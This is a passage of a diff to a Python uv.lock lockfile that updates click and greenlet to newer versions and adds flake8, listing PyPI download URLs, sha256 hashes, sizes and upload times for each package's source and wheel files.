{ url = "https://files.pythonhosted.org/packages/80/3f/bd97d3d9c613013d07cb7733d299385b41df37f0471310f5a73dc359f0b8/charset_normalizer-3.4.9-cp314-cp314t-win_amd64.whl", hash = "sha256:9b8e0f3107e2200b76f6054de99016eac3ee6762713587b36baaa7e4bd2ae177", size = 167620, upload-time = "2026-07-07T14:34:33.438Z" }, + { url = "https://files.pythonhosted.org/packages/3d/c6/eee9dca4439b1061f76373f06ea855678cc4a64c1c3c90b50e479edbb8eb/charset_normalizer-3.4.9-cp314-cp314t-win_arm64.whl", hash = "sha256:19ac87f93086ce37b86e098888555c4b4bc48102279bae3350098c0ed664b501", size = 158037, upload-time = "2026-07-07T14:34:35.018Z" }, + { url = "https://files.pythonhosted.org/packages/98/2b/f97f1c193fb855c345d678f5077d6926034db0722df74c8f057020e05a25/charset_normalizer-3.4.9-py3-none-any.whl", hash = "sha256:68e5f26a1ad57ded6d1cfb85331d1c1a195314756471d97758c48498bb4dcdf5", size = 64538, upload-time = "2026-07-07T14:34:56.993Z" }, ] [[package]] name = "click" -version = "8.4.0" +version = "8.4.2" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "colorama", marker = "sys_platform == 'win32'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/23/e4/796662cd90cf80e3a363c99db2b88e0e394b988a575f60a17e16440cd011/click-8.4.0.tar.gz", hash = "sha256:638f1338fe1235c8f4e008e4a8a254fb5c5fbdcbb40ece3c9142ebb78e792973", size = 350843, upload-time = "2026-05-17T00:47:58.425Z" } +sdist = { url = "https://files.pythonhosted.org/packages/76/d4/81420972a676e8ffea40450d8c8c92943e7218a78fe9b64359836cc9876b/click-8.4.2.tar.gz", hash = "sha256:9a6cea6e60b17ebe0a44c5cc636d94f09bd66142c1cd7d8b4cd731c4917a15f6", size = 338000, upload-time = "2026-06-24T17:45:15.148Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/ee/ae/8e92f8058baf87f6c7d86ee7e457668690195cc77efedb8d3797a06e3940/click-8.4.0-py3-none-any.whl", hash = "sha256:40c50b7c6c6adac2823d411041ec84f3f103f1b280d5e9ce0d7f998995832f81", size = 116147, upload-time = "2026-05-17T00:47:56.842Z" }, + { url = "https://files.pythonhosted.org/packages/fb/e2/79c688af8b210d232694e31e59da9f6ec747bae31c3f5946e4e9b98860d5/click-8.4.2-py3-none-any.whl", hash = "sha256:e6f9f66136c816745b9d65817da91d61d957fb16e02e4dcd0552553c5a197b76", size = 119243, upload-time = "2026-06-24T17:45:13.73Z" }, ] [[package]] @@ -723,6 +707,20 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/8a/0e/97c33bf5009bdbac74fd2beace167cab3f978feb69cc36f1ef79360d6c4e/exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598", size = 16740, upload-time = "2025-11-21T23:01:53.443Z" }, ] +[[package]] +name = "flake8" +version = "7.3.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "mccabe" }, + { name = "pycodestyle" }, + { name = "pyflakes" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/9b/af/fbfe3c4b5a657d79e5c47a2827a362f9e1b763336a52f926126aa6dc7123/flake8-7.3.0.tar.gz", hash = "sha256:fe044858146b9fc69b551a4b490d69cf960fcb78ad1edcb84e7fbb1b4a8e3872", size = 48326, upload-time = "2025-06-20T19:31:35.838Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9f/56/13ab06b4f93ca7cac71078fbe37fcea175d3216f31f85c3168a6bbd0bb9a/flake8-7.3.0-py2.py3-none-any.whl", hash = "sha256:b9696257b9ce8beb888cdbe31cf885c90d31928fe202be0889a7cdafad32f01e", size = 57922, upload-time = "2025-06-20T19:31:34.425Z" }, +] + [[package]] name = "flask" version = "3.1.3" @@ -742,56 +740,72 @@ wheels = [ [[package]] name = "greenlet" -version = "3.5.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/3c/3f/dbf99fb14bfeb88c28f16729215478c0e265cacd6dc22270c8f31bb6892f/greenlet-3.5.0.tar.gz", hash = "sha256:d419647372241bc68e957bf38d5c1f98852155e4146bd1e4121adea81f4f01e4", size = 196995, upload-time = "2026-04-27T13:37:15.544Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/b0/03/84359833f7e1d49a883e92777637c592306030e30cee5e2b1e6476f95c88/greenlet-3.5.0-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:29ea813b2e1f45fa9649a17853b2b5465c4072fbcb072e5af6cd3a288216574a", size = 283502, upload-time = "2026-04-27T12:20:55.213Z" }, - { url = "https://files.pythonhosted.org/packages/25/ce/6f9f008266273aa14a2e011945797ac5802b97b8b40efe7afe1ee6c1afc9/greenlet-3.5.0-cp310-cp310-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:804a70b328e706b785c6ef16187051c394a63dd1a906d89be24b6ad77759f13f", size = 600508, upload-time = "2026-04-27T12:52:37.876Z" }, - { url = "https://files.pythonhosted.org/packages/e0/6d/b0f3272c2368ea2c1aa19a5ad70db0be8f8dff6e6d3d1eb82efa00cbcf19/greenlet-3.5.0-cp310-cp310-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:884f649de075b84739713d41dd4dfd41e2b910bfb769c4a3ea02ec1da52cd9bb", size = 613283, upload-time = "2026-04-27T12:59:37.957Z" }, - { url = "https://files.pythonhosted.org/packages/ed/ac/0b509b6fb93551ce5a01612ee1acda7f7dda4bbb66c99aeb2ab403d205dc/greenlet-3.5.0-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4b28037cb07768933c54d81bfe47a85f9f402f57d7d69743b991a713b63954eb", size = 613418, upload-time = "2026-04-27T12:25:23.852Z" }, - { url = "https://files.pythonhosted.org/packages/03/03/2b2b680ec87aaa97998fb5b8d76658d4d3560386864f17efab33ba7c2e24/greenlet-3.5.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cda05425526240807408156b6960a17a79a0c760b813573b67027823be760977", size = 1572229, upload-time = "2026-04-27T12:53:23.509Z" }, - { url = "https://files.pythonhosted.org/packages/61/e4/42b259e7a19aff1a270a4bd82caf6353109ed6860c9454e18f37162b83ae/greenlet-3.5.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9c615f869163e14bb1ced20322d8038fb680b08236521ac3f30cd4c1288785a0", size = 1639886, upload-time = "2026-04-27T12:25:22.325Z" }, - { url = "https://files.pythonhosted.org/packages/6f/b4/733ca47b883b67c57f90d3ecb21055c9ec753597d10754ac201644061f9d/greenlet-3.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:ba8f0bdc2fae6ce915dfd0c16d2d00bca7e4247c1eae4416e06430e522137858", size = 237795, upload-time = "2026-04-27T12:21:40.118Z" }, - { url = "https://files.pythonhosted.org/packages/8b/0f/a91f143f356523ff682309732b175765a9bc2836fd7c081c2c67fedc1ad4/greenlet-3.5.0-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:8f1cc966c126639cd152fdaa52624d2655f492faa79e013fea161de3e6dda082", size = 284726, upload-time = "2026-04-27T12:20:51.402Z" }, - { url = "https://files.pythonhosted.org/packages/95/82/800646c7ffc5dbabd75ddd2f6b519bb898c0c9c969e5d0473bfe5d20bcce/greenlet-3.5.0-cp311-cp311-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:362624e6a8e5bca3b8233e45eef33903a100e9539a2b995c364d595dbc4018b3", size = 604264, upload-time = "2026-04-27T12:52:39.494Z" }, - { url = "https://files.pythonhosted.org/packages/ca/ac/354867c0bba812fc33b15bc55aedafedd0aee3c7dd91dfca22444157dc0c/greenlet-3.5.0-cp311-cp311-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5ecd83806b0f4c2f53b1018e0005cd82269ea01d42befc0368730028d850ed1c", size = 616099, upload-time = "2026-04-27T12:59:39.623Z" }, - { url = "https://files.pythonhosted.org/packages/ff/b0/815bece7399e01cadb69014219eebd0042339875c59a59b0820a46ece356/greenlet-3.5.0-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0ff251e9a0279522e62f6176412869395a64ddf2b5c5f782ff609a8216a4e662", size = 615198, upload-time = "2026-04-27T12:25:25.928Z" }, - { url = "https://files.pythonhosted.org/packages/10/80/3b2c0a895d6698f6ddb31b07942ebfa982f3e30888bc5546a5b5990de8b2/greenlet-3.5.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6d874e79afd41a96e11ff4c5d0bc90a80973e476fda1c2c64985667397df432b", size = 1574927, upload-time = "2026-04-27T12:53:25.81Z" }, - { url = "https://files.pythonhosted.org/packages/44/0e/f354af514a4c61454dbc68e44d47544a5a4d6317e30b77ddfa3a09f4c5f3/greenlet-3.5.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0ed006e4b86c59de7467eb2601cd1b77b5a7d657d1ee55e30fe30d76451edba4", size = 1642683, upload-time = "2026-04-27T12:25:23.9Z" }, - { url = "https://files.pythonhosted.org/packages/fa/6a/87f38255201e993a1915265ebb80cd7c2c78b04a45744995abbf6b259fd8/greenlet-3.5.0-cp311-cp311-win_amd64.whl", hash = "sha256:703cb211b820dbffbbc55a16bfc6e4583a6e6e990f33a119d2cc8b83211119c8", size = 238115, upload-time = "2026-04-27T12:21:48.845Z" }, - { url = "https://files.pythonhosted.org/packages/e3/f8/450fe3c5938fa737ea4d22699772e6e34e8e24431a47bf4e8a1ceed4a98e/greenlet-3.5.0-cp311-cp311-win_arm64.whl", hash = "sha256:6c18dfb59c70f5a94acd271c72e90128c3c776e41e5f07767908c8c1b74ad339", size = 235017, upload-time = "2026-04-27T12:22:26.768Z" }, - { url = "https://files.pythonhosted.org/packages/ef/32/f2ce6d4cac3e55bc6173f92dbe627e782e1850f89d986c3606feb63aafa7/greenlet-3.5.0-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:db2910d3c809444e0a20147361f343fe2798e106af8d9d8506f5305302655a9f", size = 286228, upload-time = "2026-04-27T12:20:34.421Z" }, - { url = "https://files.pythonhosted.org/packages/b7/aa/caed9e5adf742315fc7be2a84196373aab4816e540e38ba0d76cb7584d68/greenlet-3.5.0-cp312-cp312-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3ec9ea74e7268ace7f9aab1b1a4e730193fc661b39a993cd91c606c32d4a3628", size = 601775, upload-time = "2026-04-27T12:52:41.045Z" }, - { url = "https://files.pythonhosted.org/packages/c7/af/90ae08497400a941595d12774447f752d3dfe0fbb012e35b76bc5c0ff37e/greenlet-3.5.0-cp312-cp312-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:54d243512da35485fc7a6bf3c178fdda6327a9d6506fcdd62b1abd1e41b2927b", size = 614436, upload-time = "2026-04-27T12:59:41.595Z" }, - { url = "https://files.pythonhosted.org/packages/2b/e0/2e13df68f367e2f9960616927d60857dd7e56aaadd59a47c644216b2f920/greenlet-3.5.0-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d280a7f5c331622c69f97eb167f33577ff2d1df282c41cd15907fc0a3ca198c", size = 611388, upload-time = "2026-04-27T12:25:28.008Z" }, - { url = "https://files.pythonhosted.org/packages/82/f7/393c64055132ac0d488ef6be549253b7e6274194863967ddc0bc8f5b87b8/greenlet-3.5.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1eb67d5adefb5bd2e182d42678a328979a209e4e82eb93575708185d31d1f588", size = 1570768, upload-time = "2026-04-27T12:53:28.099Z" }, - { url = "https://files.pythonhosted.org/packages/b8/4b/eaf7735253522cf56d1b74d672a58f54fc114702ceaf05def59aae72f6e1/greenlet-3.5.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2628d6c86f6cb0cb45e0c3c54058bbec559f57eaae699447748cb3928150577e", size = 1635983, upload-time = "2026-04-27T12:25:26.903Z" }, - { url = "https://files.pythonhosted.org/packages/4c/fe/4fb3a0805bd5165da5ebf858da7cc01cce8061674106d2cf5bdab32cbfde/greenlet-3.5.0-cp312-cp312-win_amd64.whl", hash = "sha256:d4d9f0624c775f2dfc56ba54d515a8c771044346852a918b405914f6b19d7fd8", size = 238840, upload-time = "2026-04-27T12:23:54.806Z" }, - { url = "https://files.pythonhosted.org/packages/cb/cb/baa584cb00532126ffe12d9787db0a60c5a4f55c27bfe2666df5d4c30a32/greenlet-3.5.0-cp312-cp312-win_arm64.whl", hash = "sha256:83ed9f27f1680b50e89f40f6df348a290ea234b249a4003d366663a12eab94f2", size = 235615, upload-time = "2026-04-27T12:21:38.57Z" }, - { url = "https://files.pythonhosted.org/packages/0c/58/fc576f99037ce19c5aa16628e4c3226b6d1419f72a62c79f5f40576e6eb3/greenlet-3.5.0-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:5a5ed18de6a0f6cc7087f1563f6bd93fc7df1c19165ca01e9bde5a5dc281d106", size = 285066, upload-time = "2026-04-27T12:23:05.033Z" }, - { url = "https://files.pythonhosted.org/packages/4a/ba/b28ddbe6bfad6a8ac196ef0e8cff37bc65b79735995b9e410923fffeeb70/greenlet-3.5.0-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a717fbc46d8a354fa675f7c1e813485b6ba3885f9bef0cd56e5ba27d758ff5b", size = 604414, upload-time = "2026-04-27T12:52:42.358Z" }, - { url = "https://files.pythonhosted.org/packages/09/06/4b69f8f0b67603a8be2790e55107a190b376f2627fe0eaf5695d85ffb3cd/greenlet-3.5.0-cp313-cp313-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ddc090c5c1792b10246a78e8c2163ebbe04cf877f9d785c230a7b27b39ad038e", size = 617349, upload-time = "2026-04-27T12:59:43.32Z" }, - { url = "https://files.pythonhosted.org/packages/8a/17/a3918541fd0ddefe024a69de6d16aa7b46d36ac19562adaa63c7fa180eff/greenlet-3.5.0-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2094acd54b272cb6eae8c03dd87b3fa1820a4cef18d6889c378d503500a1dc13", size = 613927, upload-time = "2026-04-27T12:25:30.28Z" }, - { url = "https://files.pythonhosted.org/packages/ee/e1/bd0af6213c7dd33175d8a462d4c1fe1175124ebed4855bc1475a5b5242c2/greenlet-3.5.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:5e05ba267789ea87b5a155cf0e810b1ab88bf18e9e8740813945ceb8ee4350ba", size = 1570893, upload-time = "2026-04-27T12:53:29.483Z" }, - { url = "https://files.pythonhosted.org/packages/9b/2a/0789702f864f5382cb476b93d7a9c823c10472658102ccd65f415747d2e2/greenlet-3.5.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:0ecec963079cd58cbd14723582384f11f166fd58883c15dcbfb342e0bc9b5846", size = 1636060, upload-time = "2026-04-27T12:25:28.845Z" }, - { url = "https://files.pythonhosted.org/packages/b2/8f/22bf9df92bbff0eb07842b60f7e63bf7675a9742df628437a9f02d09137f/greenlet-3.5.0-cp313-cp313-win_amd64.whl", hash = "sha256:728d9667d8f2f586644b748dbd9bb67e50d6a9381767d1357714ea6825bb3bf5", size = 238740, upload-time = "2026-04-27T12:24:01.341Z" }, - { url = "https://files.pythonhosted.org/packages/b6/b7/9c5c3d653bd4ff614277c049ac676422e2c557db47b4fe43e6313fc005dc/greenlet-3.5.0-cp313-cp313-win_arm64.whl", hash = "sha256:47422135b1d308c14b2c6e758beedb1acd33bb91679f5670edf77bf46244722b", size = 235525, upload-time = "2026-04-27T12:23:12.308Z" }, - { url = "https://files.pythonhosted.org/packages/94/5e/a70f31e3e8d961c4ce589c15b28e4225d63704e431a23932a3808cbcc867/greenlet-3.5.0-cp314-cp314-macosx_11_0_universal2.whl", hash = "sha256:f35807464c4c58c55f0d31dfa83c541a5615d825c2fe3d2b95360cf7c4e3c0a8", size = 285564, upload-time = "2026-04-27T12:23:08.555Z" }, - { url = "https://files.pythonhosted.org/packages/af/a6/046c0a28e21833e4086918218cfb3d8bed51c075a1b700f20b9d7861c0f4/greenlet-3.5.0-cp314-cp314-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:55fa7ea52771be44af0de27d8b80c02cd18c2c3cddde6c847ecebdf72418b6a1", size = 651166, upload-time = "2026-04-27T12:52:43.644Z" }, - { url = "https://files.pythonhosted.org/packages/47/f8/4af27f71c5ff32a7fbc516adb46370d9c4ae2bc7bd3dc7d066ac542b4b15/greenlet-3.5.0-cp314-cp314-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a97e4821aa710603f94de0da25f25096454d78ffdace5dc77f3a006bc01abba3", size = 663792, upload-time = "2026-04-27T12:59:44.93Z" }, - { url = "https://files.pythonhosted.org/packages/a3/59/1bd6d7428d6ed9106efbb8c52310c60fd04f6672490f452aeaa3829aa436/greenlet-3.5.0-cp314-cp314-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8f52a464e4ed91780bdfbbdd2b97197f3accaa629b98c200f4dffada759f3ae7", size = 660933, upload-time = "2026-04-27T12:25:33.276Z" }, - { url = "https://files.pythonhosted.org/packages/83/e4/b903e5a5fae1e8a28cdd32a0cfbfd560b668c25b692f67768822ddc5f40f/greenlet-3.5.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:762612baf1161ccb8437c0161c668a688223cba28e1bf038f4eb47b13e39ccdf", size = 1618401, upload-time = "2026-04-27T12:53:31.062Z" }, - { url = "https://files.pythonhosted.org/packages/0e/e3/5ec408a329acb854fb607a122e1ee5fb3ff649f9a97952948a90803c0d8e/greenlet-3.5.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:57a43c6079a89713522bc4bcb9f75070ecf5d3dbad7792bfe42239362cbf2a16", size = 1682038, upload-time = "2026-04-27T12:25:31.838Z" }, - { url = "https://files.pythonhosted.org/packages/91/20/6b165108058767ee643c55c5c4904d591a830ee2b3c7dbd359828fbc829f/greenlet-3.5.0-cp314-cp314-win_amd64.whl", hash = "sha256:3bc59be3945ae9750b9e7d45067d01ae3fe90ea5f9ade99239dabdd6e28a5033", size = 239835, upload-time = "2026-04-27T12:24:54.136Z" }, - { url = "https://files.pythonhosted.org/packages/4e/62/1c498375cee177b55d980c1db319f26470e5309e54698c8f8fc06c0fd539/greenlet-3.5.0-cp314-cp314-win_arm64.whl", hash = "sha256:a96fcee45e03fe30a62669fd16ab5c9d3c172660d3085605cb1e2d1280d3c988", size = 236862, upload-time = "2026-04-27T12:23:24.957Z" }, - { url = "https://files.pythonhosted.org/packages/78/a8/4522939255bb5409af4e87132f915446bf3622c2c292d14d3c38d128ae82/greenlet-3.5.0-cp314-cp314t-macosx_11_0_universal2.whl", hash = "sha256:a10a732421ab4fec934783ce3e54763470d0181db6e3468f9103a275c3ed1853", size = 293614, upload-time = "2026-04-27T12:24:12.874Z" }, - { url = "https://files.pythonhosted.org/packages/15/5e/8744c52e2c027b5a8772a01561934c8835f869733e101f62075c60430340/greenlet-3.5.0-cp314-cp314t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7fc391b1566f2907d17aaebe78f8855dc45675159a775fcf9e61f8ee0078e87f", size = 650723, upload-time = "2026-04-27T12:52:45.412Z" }, - { url = "https://files.pythonhosted.org/packages/00/ef/7b4c39c03cf46ceca512c5d3f914afd85aa30b2cc9a93015b0dd73e4be6c/greenlet-3.5.0-cp314-cp314t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:680bd0e7ad5e8daa8a4aa89f68fd6adc834b8a8036dc256533f7e08f4a4b01f7", size = 656529, upload-time = "2026-04-27T12:59:46.295Z" }, - { url = "https://files.pythonhosted.org/packages/0b/b5/c7768f352f5c010f92064d0063f987e7dc0cd290a6d92a34109015ce4aa1/greenlet-3.5.0-cp314-cp314t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ddb36c7d6c9c0a65f18c7258634e0c416c6ab59caac8c987b96f80c2ebda0112", size = 654364, upload-time = "2026-04-27T12:25:35.64Z" }, - { url = "https://files.pythonhosted.org/packages/ef/d0/079ebe12e4b1fc758857ce5be1a5e73f06870f2101e52611d1e71925ce54/greenlet-3.5.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e5ddf316ced87539144621453c3aef229575825fe60c604e62bedc4003f372b2", size = 1614204, upload-time = "2026-04-27T12:53:32.618Z" }, - { url = "https://files.pythonhosted.org/packages/6d/89/6c2fb63df3596552d20e58fb4d96669243388cf680cff222758812c7bfaa/greenlet-3.5.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:4a448128607be0de65342dc9b31be7f948ef4cc0bc8832069350abefd310a8f2", size = 1675480, upload-time = "2026-04-27T12:25:34.168Z" }, - { url = "https://files.pythonhosted.org/packages/15/32/77ee8a6c1564fc345a491a4e85b3bf360e4cf26eac98c4532d2fdb96e01f/greenlet-3.5.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d60097128cb0a1cab9ea541186ea13cd7b847b8449a7787c2e2350da0cb82d86", size = 245324, upload-time = "2026-04-27T12:24:40.295Z" }, +version = "3.5.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e2/f1/fbbfef6af0bad0548f09bc28948ea3c275b4edb19e17fc5ca9900a6a634d/greenlet-3.5.3.tar.gz", hash = "sha256:a61efc018fd3eb317eeca31aba90ee9e7f26f22884a79b6c6ec715bf71bb62f1", size = 200270, upload-time = "2026-06-26T19:28:24.832Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f5/a1/1f7f0c555f5858fd2906fe9f7b0a3554fddb85cb70df7a6aaec41dc292c2/greenlet-3.5.3-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:c180d22d325fb613956b443c3c6f4406eb70e6defc70d3974da2a7b59e06f48c", size = 285838, upload-time = "2026-06-26T18:21:05.167Z" }, + { url = "https://files.pythonhosted.org/packages/0a/29/be9f43ed61677a5759b38c8a9389248133c8c731bbfc0574ecdff66c99fc/greenlet-3.5.3-cp310-cp310-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:483d08c11181c83a6ce1a7a61df0f624a208ec40817a3bb2302714592eee4f04", size = 602342, upload-time = "2026-06-26T19:07:06.908Z" }, + { url = "https://files.pythonhosted.org/packages/b9/42/ba41c97ec36aa4b3ec25e5aa691d79561254805fad7f2f826dd6770587e2/greenlet-3.5.3-cp310-cp310-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1dae6e0091eae084317e411f047f0b7cb241c6db570f7c45fd6b900a274914ce", size = 615541, upload-time = "2026-06-26T19:10:04.909Z" }, + { url = "https://files.pythonhosted.org/packages/f5/c7/28747042e1df8a9cd120a1ebe15529fc4be3b486e13e8d551ff307a82412/greenlet-3.5.3-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9bcd2d72ccd70a1ec68ba6ef93e7fbb4420ef9997dabc7010d893bd4015e0bec", size = 615675, upload-time = "2026-06-26T18:32:14.444Z" }, + { url = "https://files.pythonhosted.org/packages/cc/a8/b85525a6c8fba9f009a5f7c8df1545de8fb0f0bf3e0179194ef4e500317f/greenlet-3.5.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:73f152c895e09907e0dbe24f6c2db37beb085cd63db91c3825a0fcd0064124a8", size = 1575057, upload-time = "2026-06-26T19:09:00.264Z" }, + { url = "https://files.pythonhosted.org/packages/03/79/fb76edb218fe6735ab0edeba176c7ab80df9618f7c02ce4208979f3ae7db/greenlet-3.5.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8bdb43e1a1d1873721acab2be99c5befd4d2044ddfd52e4d610801019880a702", size = 1641692, upload-time = "2026-06-26T18:31:41.454Z" }, + { url = "https://files.pythonhosted.org/packages/6b/79/86fe3ee50ed55d9b3907eecd3208b5c3fe8a79515519aae98b4753c3fa1d/greenlet-3.5.3-cp310-cp310-win_amd64.whl", hash = "sha256:0909f9355a9f24845d3299f3112e266a06afb68302041989fd26bd68894933db", size = 238742, upload-time = "2026-06-26T18:20:40.758Z" }, + { url = "https://files.pythonhosted.org/packages/51/58/5404031044f55afad7aad1aff8be3f22b1bed03e237cfeabbc7e5c8cfde0/greenlet-3.5.3-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:aca9b4ce85b152b5524ef7d88170efdff80dc0032aa8b75f9aaf7f3479ea95b4", size = 287424, upload-time = "2026-06-26T18:20:31.469Z" }, + { url = "https://files.pythonhosted.org/packages/b4/bf/1c65e9b94a54d547068fa5b5a8a06f221f3316b48908e08668d29c77cb50/greenlet-3.5.3-cp311-cp311-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f71be4920368fe1fabeeaa53d1e3548337e2b223d9565f8ad5e392a75ba23fc", size = 606523, upload-time = "2026-06-26T19:07:08.859Z" }, + { url = "https://files.pythonhosted.org/packages/b8/c7/b66baacc95775ad511287acb0137b95574a9ce5491902372b7564799d790/greenlet-3.5.3-cp311-cp311-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:4d77e67f65f98449e3fb83f795b5d0a8437aead2f874ca89c96576caf4be3af6", size = 618315, upload-time = "2026-06-26T19:10:06.055Z" }, + { url = "https://files.pythonhosted.org/packages/78/2b/28ed29463522fdbe4c15b1f63922041626a7478316b34ab4adda3f0a4aba/greenlet-3.5.3-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8540f1e6205bd13ca0ce685581037219ca54a1b41a0a15d228c6c9b8ad5903d7", size = 617381, upload-time = "2026-06-26T18:32:16.077Z" }, + { url = "https://files.pythonhosted.org/packages/2a/7b/ad04e9d1337fc04965dc9fc616b6a72cb65a24b800a014c011ec812f5489/greenlet-3.5.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7ef56fe650f50575bf843acde967b9c567687f3c22340941a899b7bc56e956a8", size = 1577771, upload-time = "2026-06-26T19:09:01.537Z" }, + { url = "https://files.pythonhosted.org/packages/d8/33/6c87ab7ba663f70ca21f3022aad1ffe56d3f3e0521e836c2415e13abcc3c/greenlet-3.5.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:5121af01cf911e70056c00d4b46d5e9b5d1415550038573d744138bacb59e6b8", size = 1644048, upload-time = "2026-06-26T18:31:42.996Z" }, + { url = "https://files.pythonhosted.org/packages/1c/35/f0d8ee998b422cf8693b270f098e55d8d4ec8006b061b333f54f177d28d9/greenlet-3.5.3-cp311-cp311-win_amd64.whl", hash = "sha256:0f41e4a05a3c0cb31b17023eff28dd111e1d16bf7d7d00406cd7df23f31398a7", size = 239137, upload-time = "2026-06-26T18:23:21.664Z" }, + { url = "https://files.pythonhosted.org/packages/fb/96/b9820295576ef18c9edc404f10e260ae7215ceaf3781a54b720ed2627862/greenlet-3.5.3-cp311-cp311-win_arm64.whl", hash = "sha256:ec6f1af59f6b5f3fc9678e2ea062d8377d22ac644f7844cb7a292910cf12ff44", size = 237630, upload-time = "2026-06-26T18:24:00.281Z" }, + { url = "https://files.pythonhosted.org/packages/5d/6e/4c37d51a2b7f82d2ff11bb6b5f7d766d9a011726624af255e843727627a3/greenlet-3.5.3-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:719757059f5a53fd0dde23f78cffeafcdd97b21c850ddb7ca684a3c1a1f122e2", size = 288685, upload-time = "2026-06-26T18:22:08.977Z" }, + { url = "https://files.pythonhosted.org/packages/7a/73/815dd90131c1b71ebdf53dbc7c276cafec2a1173b97559f97aba72724a87/greenlet-3.5.3-cp312-cp312-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:efa9f765dd09f9d0cdac651ffdf631ee59ec5dc6ee7a73e0c012ba9c52fbdf5b", size = 604761, upload-time = "2026-06-26T19:07:10.114Z" }, + { url = "https://files.pythonhosted.org/packages/9f/57/079cfe76bcef36b153b25607ee91c6fcb58f17f8b23c86bbbeabe0c88d72/greenlet-3.5.3-cp312-cp312-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7faba15ac005376e02a0384504e0243be3370ce010296a44a820feb342b505ab", size = 617044, upload-time = "2026-06-26T19:10:07.25Z" }, + { url = "https://files.pythonhosted.org/packages/37/87/b4d095775a3fb1bcafbb483fc206b27ebb785724c83051447737085dc54e/greenlet-3.5.3-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:87142215824be6ac05e2e8e2786eec307ccbc27c36723c3881959df654af6861", size = 614244, upload-time = "2026-06-26T18:32:17.594Z" }, + { url = "https://files.pythonhosted.org/packages/8a/70/7559b609683650fa2b95b8ab84b4ab0b26556a635d19675e12aa832d826d/greenlet-3.5.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:215275b1b49320987352e6c1b054acca0064f965a2c66992bed9a6f7d913f149", size = 1574210, upload-time = "2026-06-26T19:09:03.077Z" }, + { url = "https://files.pythonhosted.org/packages/ae/73/be55392074c60fc37655ca40fa6022457bfbf6718e9e342a7b0b41f96dd2/greenlet-3.5.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:6b1b0eed82364b0e32c4ea0f221452d33e6bb17ae094d9f72aed9851812747ea", size = 1638627, 